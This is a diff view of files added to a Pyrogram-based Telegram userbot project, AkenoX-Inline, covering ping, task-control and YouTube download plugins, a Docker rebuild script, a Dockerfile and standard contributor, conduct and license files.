|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import asyncio
|
| 2 |
+
import time
|
| 3 |
+
from datetime import datetime
|
| 4 |
+
|
| 5 |
+
from pyrogram import *
|
| 6 |
+
from pyrogram.types import *
|
| 7 |
+
|
| 8 |
+
from AkenoX import *
|
| 9 |
+
from AkenoX.plugins.libso.ping import custom_ping
|
| 10 |
+
|
| 11 |
+
from . import *
|
| 12 |
+
|
| 13 |
+
|
| 14 |
+
@RENDYDEV.user(
|
| 15 |
+
prefix=["ping"],
|
| 16 |
+
filters=(
|
| 17 |
+
~filters.scheduled
|
| 18 |
+
& filters.me
|
| 19 |
+
& ~filters.forwarded
|
| 20 |
+
),
|
| 21 |
+
is_run=False,
|
| 22 |
+
limit=3,
|
| 23 |
+
time_frame=10
|
| 24 |
+
)
|
| 25 |
+
async def sping_handler(client, message):
|
| 26 |
+
await custom_ping(client, message)
|
AkenoX/plugins/task.py
ADDED
|
@@ -0,0 +1,54 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python
|
| 2 |
+
# -*- coding: utf-8 -*-
|
| 3 |
+
# Credits @xpushz on telegram
|
| 4 |
+
# Copyright 2020-2024 (c) Randy W @xtdevs, @xtsea on telegram
|
| 5 |
+
#
|
| 6 |
+
# from : https://github.com/TeamKillerX
|
| 7 |
+
# Channel : @RendyProjects
|
| 8 |
+
# This program is free software: you can redistribute it and/or modify
|
| 9 |
+
# it under the terms of the GNU Affero General Public License as published by
|
| 10 |
+
# the Free Software Foundation, either version 3 of the License, or
|
| 11 |
+
# (at your option) any later version.
|
| 12 |
+
|
| 13 |
+
# This program is distributed in the hope that it will be useful,
|
| 14 |
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
| 15 |
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
| 16 |
+
# GNU Affero General Public License for more details.
|
| 17 |
+
#
|
| 18 |
+
# You should have received a copy of the GNU Affero General Public License
|
| 19 |
+
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
| 20 |
+
|
| 21 |
+
from pyrogram import *
|
| 22 |
+
from pyrogram.types import *
|
| 23 |
+
|
| 24 |
+
from AkenoX import *
|
| 25 |
+
from AkenoX import running_tasks
|
| 26 |
+
|
| 27 |
+
|
| 28 |
+
@RENDYDEV.user(prefix="stop_task", filters=(filters.me & ~filters.forwarded))
|
| 29 |
+
async def stop_task(client, message):
|
| 30 |
+
global running_tasks
|
| 31 |
+
try:
|
| 32 |
+
command = message.text.split(" ", maxsplit=1)
|
| 33 |
+
if len(command) < 2:
|
| 34 |
+
return await message.reply("❗ Please provide a valid task ID to stop.")
|
| 35 |
+
|
| 36 |
+
task_id = command[1].strip()
|
| 37 |
+
if task_id in running_tasks:
|
| 38 |
+
task = running_tasks.pop(task_id)
|
| 39 |
+
task.cancel()
|
| 40 |
+
await message.reply(f"✅ Task `{task_id}` has been stopped successfully.")
|
| 41 |
+
else:
|
| 42 |
+
await message.reply(f"❌ No active task found with ID `{task_id}`.")
|
| 43 |
+
except Exception as e:
|
| 44 |
+
await message.reply(f"❗ Error: {str(e)}")
|
| 45 |
+
|
| 46 |
+
@RENDYDEV.user(prefix="tasklist", filters=(filters.me & ~filters.forwarded))
|
| 47 |
+
async def tasklist_handler(client, message):
|
| 48 |
+
global running_tasks
|
| 49 |
+
if not running_tasks:
|
| 50 |
+
return await message.reply_text("✅ No active tasks.")
|
| 51 |
+
tasks_info = "\n".join(
|
| 52 |
+
[f"• Task ID: `{task_id}`" for task_id in running_tasks]
|
| 53 |
+
)
|
| 54 |
+
await message.reply_text(f"**Active Tasks:**\n{tasks_info}")
|
AkenoX/plugins/update_and_restart.sh
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/bin/bash
|
| 2 |
+
|
| 3 |
+
# Navigate to the bot's directory
|
| 4 |
+
cd ~/home/ubuntu/drag-inline
|
| 5 |
+
|
| 6 |
+
# Pull latest changes
|
| 7 |
+
git pull
|
| 8 |
+
|
| 9 |
+
# Stop and remove the old container
|
| 10 |
+
docker stop akenox-inline
|
| 11 |
+
docker rm akenox-inline
|
| 12 |
+
|
| 13 |
+
# Rebuild and restart the container
|
| 14 |
+
docker build -t akenox-inline .
|
| 15 |
+
docker run -d --restart always --name akenox-inline akenox-inline
|
AkenoX/plugins/youtube.py
ADDED
|
@@ -0,0 +1,161 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python
|
| 2 |
+
# -*- coding: utf-8 -*-
|
| 3 |
+
# Credits @xpushz on telegram
|
| 4 |
+
# Copyright 2020-2024 (c) Randy W @xtdevs, @xtsea on telegram
|
| 5 |
+
#
|
| 6 |
+
# from : https://github.com/TeamKillerX
|
| 7 |
+
# Channel : @RendyProjects
|
| 8 |
+
# This program is free software: you can redistribute it and/or modify
|
| 9 |
+
# it under the terms of the GNU Affero General Public License as published by
|
| 10 |
+
# the Free Software Foundation, either version 3 of the License, or
|
| 11 |
+
# (at your option) any later version.
|
| 12 |
+
|
| 13 |
+
# This program is distributed in the hope that it will be useful,
|
| 14 |
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
| 15 |
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
| 16 |
+
# GNU Affero General Public License for more details.
|
| 17 |
+
#
|
| 18 |
+
# You should have received a copy of the GNU Affero General Public License
|
| 19 |
+
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
| 20 |
+
|
| 21 |
+
import os
|
| 22 |
+
from typing import TYPE_CHECKING
|
| 23 |
+
|
| 24 |
+
import requests
|
| 25 |
+
from pyrogram.errors import *
|
| 26 |
+
from pyrogram.types import *
|
| 27 |
+
|
| 28 |
+
from AkenoX import *
|
| 29 |
+
from AkenoX.core.helper_button import *
|
| 30 |
+
from AkenoX.core.logger import LOGS
|
| 31 |
+
from AkenoX.core.scripts import progress
|
| 32 |
+
from AkenoX.plugins.libso.cybersecurity_hdr import *
|
| 33 |
+
|
| 34 |
+
from . import ReplyCheck
|
| 35 |
+
|
| 36 |
+
if TYPE_CHECKING:
|
| 37 |
+
from AkenoX import assistant
|
| 38 |
+
|
| 39 |
+
from youtube_search import YoutubeSearch
|
| 40 |
+
from yt_dlp import YoutubeDL
|
| 41 |
+
|
| 42 |
+
|
| 43 |
+
def secs_to_mins(secs: int) -> str:
|
| 44 |
+
mins, secs = divmod(secs, 60)
|
| 45 |
+
return f"{mins}:{secs}"
|
| 46 |
+
|
| 47 |
+
async def input_user(message) -> str:
|
| 48 |
+
if len(message.command) < 2:
|
| 49 |
+
output = ""
|
| 50 |
+
else:
|
| 51 |
+
try:
|
| 52 |
+
output = message.text.split(" ", 1)[1].strip() or ""
|
| 53 |
+
except IndexError:
|
| 54 |
+
output = ""
|
| 55 |
+
return output
|
| 56 |
+
|
| 57 |
+
def button_inline(user_id: int, url: str):
|
| 58 |
+
return InlineKeyboardMarkup(
|
| 59 |
+
[
|
| 60 |
+
[
|
| 61 |
+
InlineKeyboardButton(
|
| 62 |
+
text="🔗 Link YouTube",
|
| 63 |
+
url=url
|
| 64 |
+
),
|
| 65 |
+
],
|
| 66 |
+
[
|
| 67 |
+
InlineKeyboardButton(
|
| 68 |
+
text="🥶 Owner",
|
| 69 |
+
user_id=user_id
|
| 70 |
+
)
|
| 71 |
+
]
|
| 72 |
+
]
|
| 73 |
+
)
|
| 74 |
+
|
| 75 |
+
def cleanup_files(yt_file: str):
|
| 76 |
+
for ext in [".jpg", ".mp4"]:
|
| 77 |
+
try:
|
| 78 |
+
os.remove(f"{yt_file}{ext}")
|
| 79 |
+
except OSError:
|
| 80 |
+
pass
|
| 81 |
+
|
| 82 |
+
def extract_youtube_info(url: str):
|
| 83 |
+
with YoutubeDL(YoutubeDriver.video_options()) as ytdl:
|
| 84 |
+
yt_data = ytdl.extract_info(url, True)
|
| 85 |
+
return yt_data, yt_data["id"]
|
| 86 |
+
|
| 87 |
+
def format_caption(yt_data: dict) -> str:
|
| 88 |
+
return (
|
| 89 |
+
f"**🎧 𝖳𝗂𝗍𝗅𝖾:** {yt_data['title']} \n\n"
|
| 90 |
+
f"**👀 𝖵𝗂𝖾𝗐𝗌:** `{yt_data['view_count']}` \n"
|
| 91 |
+
f"**⌛ 𝖣𝗎𝗋𝖺𝗍𝗂𝗈𝗇:** `{secs_to_mins(int(yt_data['duration']))}`"
|
| 92 |
+
)
|
| 93 |
+
|
| 94 |
+
@RENDYDEV.user(
|
| 95 |
+
prefix=["ytv"],
|
| 96 |
+
filters=(
|
| 97 |
+
~filters.scheduled
|
| 98 |
+
& filters.me
|
| 99 |
+
& ~filters.forwarded
|
| 100 |
+
),
|
| 101 |
+
is_run=False,
|
| 102 |
+
limit=3,
|
| 103 |
+
time_frame=10
|
| 104 |
+
)
|
| 105 |
+
async def ytvideo(client: assistant, message):
|
| 106 |
+
if len(message.command) < 2:
|
| 107 |
+
return await message.reply_text("Give a valid youtube link to download video.")
|
| 108 |
+
|
| 109 |
+
query = await input_user(message)
|
| 110 |
+
pro = await message.reply_text("Checking ...")
|
| 111 |
+
username_me = RENDYDEV.client_me().me.username
|
| 112 |
+
if not username_me:
|
| 113 |
+
return await message.reply_text("Username required")
|
| 114 |
+
status, url = YoutubeDriver.check_url(query)
|
| 115 |
+
if not status:
|
| 116 |
+
return await pro.edit_text(url)
|
| 117 |
+
await pro.edit_text(f"__Downloading video ...__")
|
| 118 |
+
try:
|
| 119 |
+
yt_data, yt_file = extract_youtube_info(url)
|
| 120 |
+
caption = format_caption(yt_data)
|
| 121 |
+
await pro.edit_text(f"**𝖴𝗉𝗅𝗈𝖺𝖽𝗂𝗇𝗀 Video ...** \n\n**𝖳𝗂𝗍𝗅𝖾:** `{yt_data['title'][:50]}`\n**𝖢𝗁𝖺𝗇𝗇𝖾𝗅:** `{yt_data['channel']}`")
|
| 122 |
+
response = requests.get(f"https://i.ytimg.com/vi/{yt_data['id']}/hqdefault.jpg")
|
| 123 |
+
with open(f"{yt_file}.jpg", "wb") as f:
|
| 124 |
+
f.write(response.content)
|
| 125 |
+
results = await assistant.send_video(
|
| 126 |
+
username_me,
|
| 127 |
+
f"{yt_file}.mp4",
|
| 128 |
+
caption=caption,
|
| 129 |
+
duration=int(yt_data["duration"]),
|
| 130 |
+
thumb=f"{yt_file}.jpg",
|
| 131 |
+
progress=progress,
|
| 132 |
+
progress_args=(pro, time.time(), caption),
|
| 133 |
+
)
|
| 134 |
+
file_id = results.video.file_id
|
| 135 |
+
reply_markup = button_inline(RENDYDEV.client_me().me.id, query)
|
| 136 |
+
serialized_reply_markup = serialize_reply_markup(reply_markup) if reply_markup else None
|
| 137 |
+
save_data = RENDYDEV.set_storage(
|
| 138 |
+
file_id=file_id or "",
|
| 139 |
+
caption=caption,
|
| 140 |
+
media_photo=False,
|
| 141 |
+
is_sticker=False,
|
| 142 |
+
is_animation=False,
|
| 143 |
+
media_video=True,
|
| 144 |
+
media_audio=False,
|
| 145 |
+
input_text="",
|
| 146 |
+
reply_markup=serialized_reply_markup,
|
| 147 |
+
)
|
| 148 |
+
await db_client.set_env(f"USERAUTO2:{client.me.id}", save_data)
|
| 149 |
+
bot_username = (await assistant.get_me()).username
|
| 150 |
+
oh = await client.get_inline_bot_results(bot=bot_username, query=f"userauto:{client.me.id}")
|
| 151 |
+
await client.send_inline_bot_result(
|
| 152 |
+
message.chat.id,
|
| 153 |
+
oh.query_id,
|
| 154 |
+
oh.results[0].id,
|
| 155 |
+
reply_to_message_id=ReplyCheck(message),
|
| 156 |
+
)
|
| 157 |
+
await pro.delete()
|
| 158 |
+
except Exception as e:
|
| 159 |
+
return await pro.edit_text(f"**🍀 Video not Downloaded:** `{e}`")
|
| 160 |
+
finally:
|
| 161 |
+
cleanup_files(yt_file)
|
AkenoX/readme.md
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
### Note:
|
| 2 |
+
> [!WARNING]
|
| 3 |
+
> <b>Important:</b> Never edit compiled .so or .pyc files to prevent runtime errors or crashes.
|
CODE_OF_CONDUCT.md
ADDED
|
@@ -0,0 +1,63 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
# Contributor Covenant Code of Conduct
|
| 3 |
+
|
| 4 |
+
## Our Pledge
|
| 5 |
+
We as members, contributors, and leaders pledge to make participation in our community a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, caste, color, religion, or sexual identity and orientation.
|
| 6 |
+
|
| 7 |
+
We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community.
|
| 8 |
+
|
| 9 |
+
## Our Standards
|
| 10 |
+
Examples of behavior that contributes to a positive environment for our community include:
|
| 11 |
+
- Demonstrating empathy and kindness toward other people.
|
| 12 |
+
- Being respectful of differing opinions, viewpoints, and experiences.
|
| 13 |
+
- Giving and gracefully accepting constructive feedback.
|
| 14 |
+
- Accepting responsibility and apologizing to those affected by our mistakes, and learning from the experience.
|
| 15 |
+
- Focusing on what is best not just for us as individuals, but for the overall community.
|
| 16 |
+
|
| 17 |
+
Examples of unacceptable behavior include:
|
| 18 |
+
- The use of sexualized language or imagery, and sexual attention or advances of any kind.
|
| 19 |
+
- Trolling, insulting or derogatory comments, and personal or political attacks.
|
| 20 |
+
- Public or private harassment.
|
| 21 |
+
- Publishing others’ private information, such as a physical or email address, without their explicit permission.
|
| 22 |
+
- Other conduct which could reasonably be considered inappropriate in a professional setting.
|
| 23 |
+
|
| 24 |
+
## Enforcement Responsibilities
|
| 25 |
+
Community leaders are responsible for clarifying and enforcing our standards of acceptable behavior and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, or harmful.
|
| 26 |
+
|
| 27 |
+
Community leaders have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned with this Code of Conduct, and will communicate reasons for moderation decisions when appropriate.
|
| 28 |
+
|
| 29 |
+
## Scope
|
| 30 |
+
This Code of Conduct applies within all community spaces, and also applies when an individual is officially representing the community in public spaces. Examples of representing our community include using an official e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event.
|
| 31 |
+
|
| 32 |
+
## Enforcement
|
| 33 |
+
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the community leaders responsible for enforcement at [INSERT CONTACT EMAIL OR METHOD]. All complaints will be reviewed and investigated promptly and fairly.
|
| 34 |
+
|
| 35 |
+
All community leaders are obligated to respect the privacy and security of the reporter of any incident.
|
| 36 |
+
|
| 37 |
+
## Enforcement Guidelines
|
| 38 |
+
Community leaders will follow these Community Impact Guidelines in determining the consequences for any action they deem in violation of this Code of Conduct:
|
| 39 |
+
|
| 40 |
+
### 1. Correction
|
| 41 |
+
**Community Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome in the community.
|
| 42 |
+
|
| 43 |
+
**Consequence**: A private, written warning from community leaders, providing clarity around the nature of the violation and an explanation of why the behavior was inappropriate. A public apology may be requested.
|
| 44 |
+
|
| 45 |
+
### 2. Warning
|
| 46 |
+
**Community Impact**: A violation through a single incident or series of actions.
|
| 47 |
+
|
| 48 |
+
**Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. This includes avoiding interactions in community spaces as well as external channels like social media. Violating these terms may lead to a temporary or permanent ban.
|
| 49 |
+
|
| 50 |
+
### 3. Temporary Ban
|
| 51 |
+
**Community Impact**: A serious violation of community standards, including sustained inappropriate behavior.
|
| 52 |
+
|
| 53 |
+
**Consequence**: A temporary ban from any sort of interaction or public communication with the community for a specified period of time. No public or private interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, is allowed during this period. Violating these terms may lead to a permanent ban.
|
| 54 |
+
|
| 55 |
+
### 4. Permanent Ban
|
| 56 |
+
**Community Impact**: Demonstrating a pattern of violation of community standards, including sustained inappropriate behavior, harassment of an individual, or aggression toward or disparagement of classes of individuals.
|
| 57 |
+
|
| 58 |
+
**Consequence**: A permanent ban from any sort of public interaction within the community.
|
| 59 |
+
|
| 60 |
+
## Attribution
|
| 61 |
+
This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org/), version 2.1, available at [https://www.contributor-covenant.org/version/2/1/code_of_conduct.html](https://www.contributor-covenant.org/version/2/1/code_of_conduct.html).
|
| 62 |
+
|
| 63 |
+
For answers to common questions about this code of conduct, see the FAQ at [https://www.contributor-covenant.org/faq](https://www.contributor-covenant.org/faq).
|
CONTRIBUTING.md
ADDED
|
@@ -0,0 +1,76 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Contributing to AkenoX-Inline
|
| 2 |
+
|
| 3 |
+
Thank you for your interest in contributing to AkenoX-Inline! We welcome contributions from everyone, whether you're fixing bugs, improving documentation, or proposing new features. This guide will help you get started.
|
| 4 |
+
|
| 5 |
+
## Table of Contents
|
| 6 |
+
1. [Code of Conduct](#code-of-conduct)
|
| 7 |
+
2. [How to Contribute](#how-to-contribute)
|
| 8 |
+
- [Reporting Bugs](#reporting-bugs)
|
| 9 |
+
- [Suggesting Enhancements](#suggesting-enhancements)
|
| 10 |
+
- [Your First Code Contribution](#your-first-code-contribution)
|
| 11 |
+
3. [Development Setup](#development-setup)
|
| 12 |
+
4. [Pull Request Guidelines](#pull-request-guidelines)
|
| 13 |
+
5. [Style Guide](#style-guide)
|
| 14 |
+
6. [License](#license)
|
| 15 |
+
|
| 16 |
+
## Code of Conduct
|
| 17 |
+
By participating in this project, you agree to abide by our [Code of Conduct](CODE_OF_CONDUCT.md). Please read it before contributing.
|
| 18 |
+
|
| 19 |
+
## How to Contribute
|
| 20 |
+
|
| 21 |
+
### Reporting Bugs
|
| 22 |
+
- **Check if the bug has already been reported**: Search the [Issues](https://github.com/TeamKillerX/AkenoX-Inline/issues) to avoid duplicates.
|
| 23 |
+
- **Provide details**: Include steps to reproduce, expected behavior, actual behavior, and screenshots if applicable.
|
| 24 |
+
- **Use the bug report template**: Fill out the template when creating a new issue.
|
| 25 |
+
|
| 26 |
+
### Suggesting Enhancements
|
| 27 |
+
- **Check if the enhancement has already been suggested**: Search the [Issues](https://github.com/TeamKillerX/AkenoX-Inline/issues) to avoid duplicates.
|
| 28 |
+
- **Explain the enhancement**: Describe the feature, why it’s useful, and how it should work.
|
| 29 |
+
- **Use the enhancement template**: Fill out the template when creating a new issue.
|
| 30 |
+
|
| 31 |
+
### Your First Code Contribution
|
| 32 |
+
If you're new to open source, check out our [Good First Issues](https://github.com/TeamKillerX/AkenoX-Inline/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22) to get started.
|
| 33 |
+
|
| 34 |
+
## Development Setup
|
| 35 |
+
1. **Fork the repository**: Click the "Fork" button on GitHub.
|
| 36 |
+
2. **Clone your fork**:
|
| 37 |
+
```bash
|
| 38 |
+
git clone https://github.com/TeamKillerX/AkenoX-Inline.git
|
| 39 |
+
cd AkenoX-Inline
|
| 40 |
+
```
|
| 41 |
+
3. **Install dependencies**:
|
| 42 |
+
```bash
|
| 43 |
+
pip3 install -r requirements.txt
|
| 44 |
+
```
|
| 45 |
+
4. **Create a branch**:
|
| 46 |
+
```bash
|
| 47 |
+
git checkout -b main
|
| 48 |
+
```
|
| 49 |
+
5. **Make your changes**: Follow the [Style Guide](#style-guide).
|
| 50 |
+
6. **Test your changes**: Run the test suite to ensure nothing is broken.
|
| 51 |
+
```bash
|
| 52 |
+
pytest
|
| 53 |
+
```
|
| 54 |
+
7. **Commit your changes**:
|
| 55 |
+
```bash
|
| 56 |
+
git commit -m "Your descriptive commit message"
|
| 57 |
+
```
|
| 58 |
+
8. **Push your changes**:
|
| 59 |
+
```bash
|
| 60 |
+
git push origin main
|
| 61 |
+
```
|
| 62 |
+
9. **Open a Pull Request**: Go to your fork on GitHub and click "New Pull Request."
|
| 63 |
+
|
| 64 |
+
## Pull Request Guidelines
|
| 65 |
+
- **Keep it small**: Focus on one issue or feature per pull request.
|
| 66 |
+
- **Describe your changes**: Explain what your PR does and why it’s needed.
|
| 67 |
+
- **Reference issues**: Link to any related issues using `#issue-number`.
|
| 68 |
+
- **Follow the style guide**: Ensure your code adheres to the project’s style guide.
|
| 69 |
+
|
| 70 |
+
## Style Guide
|
| 71 |
+
- **Code formatting**: Use 4 spaces for indentation, and follow the existing code style.
|
| 72 |
+
- **Commit messages**: Write clear, concise commit messages in the present tense (e.g., "Fix bug" not "Fixed bug").
|
| 73 |
+
- **Documentation**: Update documentation if your changes affect functionality.
|
| 74 |
+
|
| 75 |
+
## License
|
| 76 |
+
By contributing to this project, you agree that your contributions will be licensed under the [MIT License](https://github.com/TeamKillerX/AkenoX-Inline/blob/main/LICENSE).
|
Dockerfile
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
FROM python:3.11
|
| 2 |
+
|
| 3 |
+
RUN apt -qq update && \
|
| 4 |
+
apt -qq install -y --no-install-recommends \
|
| 5 |
+
ffmpeg \
|
| 6 |
+
curl \
|
| 7 |
+
git \
|
| 8 |
+
gnupg2 \
|
| 9 |
+
unzip \
|
| 10 |
+
wget \
|
| 11 |
+
python3-dev \
|
| 12 |
+
python3-pip \
|
| 13 |
+
libavformat-dev \
|
| 14 |
+
libavcodec-dev \
|
| 15 |
+
libavdevice-dev \
|
| 16 |
+
libavfilter-dev \
|
| 17 |
+
libavutil-dev \
|
| 18 |
+
libswscale-dev \
|
| 19 |
+
libswresample-dev \
|
| 20 |
+
neofetch && \
|
| 21 |
+
apt-get clean && \
|
| 22 |
+
rm -rf /var/lib/apt/lists/
|
| 23 |
+
|
| 24 |
+
WORKDIR /usr/src/app
|
| 25 |
+
|
| 26 |
+
COPY . .
|
| 27 |
+
RUN pip3 install --upgrade pip setuptools==59.6.0
|
| 28 |
+
COPY requirements.txt .
|
| 29 |
+
RUN pip3 install -r requirements.txt
|
| 30 |
+
|
| 31 |
+
CMD ["python3", "-m", "AkenoX"]
|
LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
MIT License
|
| 2 |
+
|
| 3 |
+
Copyright (c) 2025 TeamKillerX
|
| 4 |
+
|
| 5 |
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
| 6 |
+
of this software and associated documentation files (the "Software"), to deal
|
| 7 |
+
in the Software without restriction, including without limitation the rights
|
| 8 |
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
| 9 |
+
copies of the Software, and to permit persons to whom the Software is
|
| 10 |
+
furnished to do so, subject to the following conditions:
|
| 11 |
+
|
| 12 |
+
The above copyright notice and this permission notice shall be included in all
|
| 13 |
+
copies or substantial portions of the Software.
|
| 14 |
+
|
| 15 |
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
| 16 |
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
| 17 |
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
| 18 |
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
| 19 |
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
| 20 |
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
| 21 |
+
SOFTWARE.
|
README.md
ADDED
|
@@ -0,0 +1,78 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
title: Drag Inline Bot
|
| 3 |
+
emoji: 🤖
|
| 4 |
+
colorFrom: blue
|
| 5 |
+
colorTo: purple
|
